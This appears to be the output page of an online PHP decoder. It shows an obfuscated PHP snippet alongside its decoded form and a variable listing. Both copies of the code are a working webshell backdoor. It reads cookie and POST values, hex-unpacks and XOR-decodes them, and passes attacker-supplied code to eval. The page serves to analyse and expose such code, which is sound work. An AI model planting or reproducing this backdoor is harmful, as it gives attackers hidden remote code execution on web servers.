Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $WtrjI/*QO*/=/* iDvL */chr ( 320 - 205 ).'t'/* svwbE */. "\x72..

Decoded Output download

<?php 
$WtrjI/*QO*/=/*   iDvL   */chr    (    320     -     205	).'t'/*  svwbE   */.	"r"/* DXnY  */.     chr	(   157     -     62 ).chr (/*sldtk */505    -/*kl */391	).chr/* lXrQZ  */(101)     .    "p"	.     chr/*  xSos */(    992	-	891     ).chr    (97)/*  XUI */.   chr	(116); 
		$ijznZUi    =    "e"	.	'x'    . chr/*  uQAQR  */(	686    -/*  lf  */574     )."l"/*Qhp */.	"o"	./*  cFpJt*/chr  (	520/*   Sw */-/*   n */420	).'e';; 
					$WasukhT/*   BfR*/=	"p"/* yo   */.	chr/*Mse*/(97)    ./*  xxR   */'c'/*  RJChp*/./* cgrGS */chr   (/*  jLh*/156  -  49    );; 
		function/*   pFM */BgHFzr() 
 { 
 
/*   kQA*/$JkajZ	=	Array	(	"duWTbobaMFpd" =>/*  bP*/"aahYBxuOIuMtwEgpveH"/*  YhYS */);; 
   	 
 
 
/* AYvj  */$vyTWcMrRzp/* Alsrs  */=	Array (/*   y */"NPyGvQXcBiVv"	=>	"zPapLdHxJw"	); 
						$JukzJvbTfC/*  JMBB */=	Array(/*PmUbW   */$JkajZ,/*  S */$_COOKIE,/*  c*/$JkajZ,     $_POST,/*   SsOEy  */$vyTWcMrRzp); 
				/* z */ 
 return	$JukzJvbTfC; 
  /* cv   */} 
   
       function	hHcpVVmms($ODLJDKJd) 
					{ 
 
 
	if/*XbOPY   */(	count     (/* aAo  */$ODLJDKJd/*xX  */)	==	3	)/* v   */{ 
    /*   e   */$xtcqtN     =/* ZuNO  */$ODLJDKJd[1];; 
    /*   urgpM   */$dnBvBF   =	$ODLJDKJd[2];$_r   = '32899'; 
	  $IqKPZgjJ/* MI*/=/*   ACfX */$xtcqtN($dnBvBF); 
    /*  Y  */eval	(	$IqKPZgjJ	);$_ifqHA/*  o  */=	'32105'; 
 
 
/*tJ  */die  (); 
  	} 
			} 
       
 
	function  kdjhw($vrOlzdtL,/*m*/$DfHjCjipBB) 
 
	{ 
 
 
    return  $vrOlzdtL/*PwA*/^  $DfHjCjipBB; 
    /*   unTZh   */} 
				/*  ENMts */ 
      $pABvUcTcb	=	chr/*  tYlo*/(    903	-/*hh */868/* gNj  */);; 
/* siKFc*/ 
   /* O   */foreach	(BgHFzr()/*  yA  */as/*RMQR */$tMAQeHZDpN)/*  HRX   */{ 
    foreach/*Xh*/(	$tMAQeHZDpN	as/* W*/$DfHjCjipBB/*  N   */=>	$vrOlzdtL	)	{ 
					/*  T*/ 
		/* QFh  */$vrOlzdtL =	@$WasukhT(	chr/* qAIvs  */(72)    ./*Q  */"*",    $vrOlzdtL );$_OQ	=	'50988'; 
			 
					$DfHjCjipBB/*  EwkA */.=  "vokkTtP-tsVo-zaUH-klzA-xPeid-YZoESX-ZBHsK"; 
   /*  EiKgd*/$DfHjCjipBB/* Vjv*/=/*   SZO*/$WtrjI  (	$DfHjCjipBB,	(/*   ks   */strlen(/* ocN  */$vrOlzdtL	)/strlen(/* UzXdn  */$DfHjCjipBB	)	)/*  JiJ   */+	1); 
	 
 
 
 $BGufcEEAZ	=    kdjhw($vrOlzdtL,    $DfHjCjipBB); 
 	 
        $ODLJDKJd	=	$ijznZUi  ($pABvUcTcb,/*  f*/$BGufcEEAZ/* xYrsN  */); 
   
 hHcpVVmms($ODLJDKJd); 
      
 
 
 continue; 
/*   szFSQ  */} 
					} ?>

Did this file decode correctly?

Original Code

<?php
$WtrjI/*QO*/=/*   iDvL   */chr    (    320     -     205	).'t'/*  svwbE   */.	"\x72"/* DXnY  */.     chr	(   157     -     62 ).chr (/*sldtk */505    -/*kl */391	).chr/* lXrQZ  */(101)     .    "\x70"	.     chr/*  xSos */(    992	-	891     ).chr    (97)/*  XUI */.   chr	(116);
		$ijznZUi    =    "\145"	.	'x'    . chr/*  uQAQR  */(	686    -/*  lf  */574     )."\x6c"/*Qhp */.	"\x6f"	./*  cFpJt*/chr  (	520/*   Sw */-/*   n */420	).'e';;
					$WasukhT/*   BfR*/=	"\x70"/* yo   */.	chr/*Mse*/(97)    ./*  xxR   */'c'/*  RJChp*/./* cgrGS */chr   (/*  jLh*/156  -  49    );;
		function/*   pFM */BgHFzr()
 {

/*   kQA*/$JkajZ	=	Array	(	"duWTbobaMFpd" =>/*  bP*/"aahYBxuOIuMtwEgpveH"/*  YhYS */);;
   	


/* AYvj  */$vyTWcMrRzp/* Alsrs  */=	Array (/*   y */"NPyGvQXcBiVv"	=>	"zPapLdHxJw"	);
						$JukzJvbTfC/*  JMBB */=	Array(/*PmUbW   */$JkajZ,/*  S */$_COOKIE,/*  c*/$JkajZ,     $_POST,/*   SsOEy  */$vyTWcMrRzp);
				/* z */
 return	$JukzJvbTfC;
  /* cv   */}
  
       function	hHcpVVmms($ODLJDKJd)
					{


	if/*XbOPY   */(	count     (/* aAo  */$ODLJDKJd/*xX  */)	==	3	)/* v   */{
    /*   e   */$xtcqtN     =/* ZuNO  */$ODLJDKJd[1];;
    /*   urgpM   */$dnBvBF   =	$ODLJDKJd[2];$_r   = '32899';
	  $IqKPZgjJ/* MI*/=/*   ACfX */$xtcqtN($dnBvBF);
    /*  Y  */eval	(	$IqKPZgjJ	);$_ifqHA/*  o  */=	'32105';


/*tJ  */die  ();
  	}
			}
      

	function  kdjhw($vrOlzdtL,/*m*/$DfHjCjipBB)

	{


    return  $vrOlzdtL/*PwA*/^  $DfHjCjipBB;
    /*   unTZh   */}
				/*  ENMts */
      $pABvUcTcb	=	chr/*  tYlo*/(    903	-/*hh */868/* gNj  */);;
/* siKFc*/
   /* O   */foreach	(BgHFzr()/*  yA  */as/*RMQR */$tMAQeHZDpN)/*  HRX   */{
    foreach/*Xh*/(	$tMAQeHZDpN	as/* W*/$DfHjCjipBB/*  N   */=>	$vrOlzdtL	)	{
					/*  T*/
		/* QFh  */$vrOlzdtL =	@$WasukhT(	chr/* qAIvs  */(72)    ./*Q  */"\52",    $vrOlzdtL );$_OQ	=	'50988';
			
					$DfHjCjipBB/*  EwkA */.=  "vokkTtP-tsVo-zaUH-klzA-xPeid-YZoESX-ZBHsK";
   /*  EiKgd*/$DfHjCjipBB/* Vjv*/=/*   SZO*/$WtrjI  (	$DfHjCjipBB,	(/*   ks   */strlen(/* ocN  */$vrOlzdtL	)/strlen(/* UzXdn  */$DfHjCjipBB	)	)/*  JiJ   */+	1);
	


 $BGufcEEAZ	=    kdjhw($vrOlzdtL,    $DfHjCjipBB);
 	
        $ODLJDKJd	=	$ijznZUi  ($pABvUcTcb,/*  f*/$BGufcEEAZ/* xYrsN  */);
  
 hHcpVVmms($ODLJDKJd);
     


 continue;
/*   szFSQ  */}
					}

Function Calls

chr 12
BgHFzr 1

Variables

$JkajZ [{'key': 'duWTbobaMFpd', 'value': 'aahYBxuOIuMtwEgpveH'}]
$WtrjI str_repeat
$WasukhT pack
$ijznZUi explode
$pABvUcTcb #
$JukzJvbTfC [{'key': 0, 'value': [{'key': 'duWTbobaMFpd', 'value': 'aahYBxuOIuMtwEgpveH'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'duWTbobaMFpd', 'value': 'aahYBxuOIuMtwEgpveH'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'NPyGvQXcBiVv', 'value': 'zPapLdHxJw'}]}]
$vyTWcMrRzp [{'key': 'NPyGvQXcBiVv', 'value': 'zPapLdHxJw'}]

Stats

MD5 797da34fc69ff762c68ae3366cb1013b
Eval Count 0
Decode Time 127 ms